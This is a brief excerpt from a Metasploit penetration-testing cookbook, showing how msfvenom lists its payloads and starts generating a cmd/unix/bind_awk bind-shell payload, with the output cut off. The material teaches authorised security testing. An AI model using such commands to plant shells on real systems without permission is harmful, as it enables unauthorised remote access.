How to do it...

  1. Let's take a look at the available payloads, using the msfvenom command with the -l option:
root@kali:~# msfvenom -l payloads

Because the output of the command is too extensive to fit in this recipe, I will leave that for you to try out.

  1. To generate a payload, we always need to use at least two options, -p and -f. The -p option is used to specify which payload to generate from all those available in the Metasploit Framework, in this example a bind shell via GNU AWK:
root@kali:~# msfvenom -p cmd/unix/bind_awk -f rawNo platform was selected, choosing Msf::Module::Platform::Unix from the payloadNo Arch selected, selecting Arch: cmd from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 96 bytes ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.